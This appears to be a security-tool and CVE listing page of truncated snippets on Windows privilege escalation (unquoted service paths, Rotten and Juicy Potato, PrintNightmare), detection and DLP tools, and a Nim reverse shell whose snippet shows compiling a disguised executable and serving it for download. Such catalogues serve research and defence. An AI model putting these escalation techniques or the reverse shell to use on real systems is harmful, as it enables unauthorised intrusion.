CVE-2017-1000475

CVE-2017-1000475: Freesshd Unquoted Service Path Prove of concept Windows 10 with freeSSHd 1.3.1, installed by default and with the option running as a system service. Command to check Unquoted Service Path. The service is unquoted by default. The process is running as SYSTEM by default. Create a...

CVE-2023-37800

Unquoted-Service Path in the Fortect - 5.0.0.7 - CVE-2023-37800 Unquoted Service Path in the Fortect - 5.0.0.7 Discoverer: Idan Malihi Description The component MainService.exe is vulnerable to unquoted service path: C:\Program Files\Fortect\MainService.exe Steps to Reproduce To exploit the...

RottenPotato

This code is no longer maintained - for a newer implementation see https://github.com/breenmachine/RottenPotatoNG RottenPotato Local Privilege Escalation from Windows Service Accounts to SYSTEM For a technical overview of this exploit see our blog post at...

SMB-Session-Spoofing

root@kitploit: / | / || \ / | / | / | \ --.| . . || |/ / \ --. \ --. | | --. \ |/| || \ --. / / / | |/ | ' \ --. \ ' \ / \ / | / \ '| // / | | || |/ / // / /\ \ \ | | | | | // / | | | | || / | /| |// / ||//|/|| || /| ./ / /|| || | | || Welcome! This is a utility that can be...

CVE-2021-1675

Explanation of the vulnerability The Printer Spooler is a Windows service that manages print queues. It receives jobs submitted by the user, converts them to a format the printer understands, and sends them when the printer is available. It runs as a system service spoolsv.exe with high privilege...

CVE-2024-27462

CVE-2024-27462 Wondershare MobileTrans 4.5.6 - Unquoted Service Path Description: Wondershare Filmora versions 4.5.6 and lower contain multiple unquoted service path which allow attackers to escalate privileges to the system level. Impacted services WsAppService3 service binary Path C:\Program...

CVE-2026-36213

CVE-2026-36213 CVE-2026-36213 | Local Privilege Escalation in MEmu Android Emulator 9.2.7.0 via Insecure Service Binary Permissions | Patched in 9.3.2 CVE-2026-36213 — MEmu Android Emulator 9.2.7.0 LPE Summary A Local Privilege Escalation LPE vulnerability in MEmu Android Emulator 9.2.7.0. The...

juicy-potato

Juicy Potato abusing the golden privileges A sugared version ofRottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM Summary RottenPotatoNG and its variants leverages the privilege escalation chain based on BITS...

CVE-2023-36168

CVE-2023-36168 An issue in AVG AVG Anti-Spyware v.7.5 allows an attacker to execute arbitrary code via a crafted script to the guard.exe component Exploit Title: AVG Anti Spyware 7.5 - Unquoted Service Path Date: 05/08/2023 Exploit Author: Idan Malihi Vendor Homepage: https://www.avg.com Software...

CVE-2022-35899

CVE-2022-35899 Unquoted Service Path Asus GameSdk Exploit Title: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path Privilege Escalation Date: 07/14/2022 Exploit Author: Angelo Pio Amirante Version: 1.0.0.4 Tested on: Windows 10 Patched version: 1.0.5.0 Step to discover the unquoted...

CVE-2023-36169

CVE-2023-36169 An issue in SlySoft Game Jackal Pro v.5.2.0.0 allows an attacker to execute arbitrary code via the server.exe component Exploit Title: Game Jackal Server v5 - Unquoted Service Path Date: 05/08/2023 Exploit Author: Idan Malihi Vendor Homepage: https://www.allradiosoft.ru Software...

CVE-2023-36164

CVE-2023-36164 An issue in MiniTool Partition Wizard ShadowMaker v.12.7 allows an attacker to execute arbitrary code via the MTAgentService component Exploit Title: MiniTool Partition Wizard ShadowMaker v.12.7 - Unquoted Service Path Date: 05/08/2023 Exploit Author: Idan Malihi Vendor Homepage:...

memhunter

Memhunter Caza automatizada de malware residente en memoria a escala Este proyecto está EN DESARROLLO. Espere cambios de funcionalidad y lanzamientos binarios en las próximas semanas. Resumen Memhunter es una herramienta de sensor de endpoint especializada en detectar malware residente, mejorando...

memhunter

Memhunter Automated hunting of memory resident malware at scale This project is WORK IN PROGRESS. Expect feature changes and binary releases on the upcoming weeks. Overview Memhunter is an endpoint sensor tool that is specialized in detecing resident malware, improving the threat hunter analysis...

CVE-2022-45988

CVE-2022-45988 StarSoftComm HP CooCare An elevation of privilege vulnerability exists I have contacted with hp-security-alert They have fixed this bug. About StarSoftComm CooCare HP-PSRT-IR 4106 The vendor responded with the following information: Follow these steps to update: 1. Launch eService ...

juicy-potato

Juicy Potato（滥用黄金权限） RottenPotatoNG的加糖版本，带点汁水，即另一个本地权限提升工具，从Windows服务账户到NT AUTHORITY\SYSTEM 概述 RottenPotatoNG及其变种利用基于BITS 服务的权限提升链，该服务在127.0.0.1:6666上具有MiTM监听器，并且当你拥有SeImpersonate或SeAssignPrimaryToken权限时。在一次Windows构建审查中，我们发现一个设置，其中BITS被故意禁用，端口6666被占用。 我们决定将RottenPotatoNG武器化：向Juicy Potato打个招呼 。...

KilledProcessCanary

Windows Killed Process Canary A Windows Service to detect if it has been shutdown and hibernate if multiple instances are. Released as open source by NCC Group Plc - http://www.nccgroup.com/ Developed by Ollie Whitehouse, ollie dot whitehouse at nccgroup dot com...

caldera-agent

Agente CALDERA La carpeta calderaagent contiene el código fuente del agente CALDERA o cagent , un servicio de Windows que facilita la comunicación entre el servidor CALDERA y los CALDERA Rats. El programa cagent debe instalarse en cada computadora que participe en la operación de emulación de...

BlockGuard

🛡️ BlockGuard — Process-Based File Access Security Agent BlockGuard is a Windows Data Loss Prevention DLP agent that intercepts and controls file access at the process level. It ensures that only authorized processes — identified by executable path, cryptographic hash, Authenticode signature, and...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Ejemplo: root@kitploit: sudo apt install nim actualiza el script en consecuencia root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget...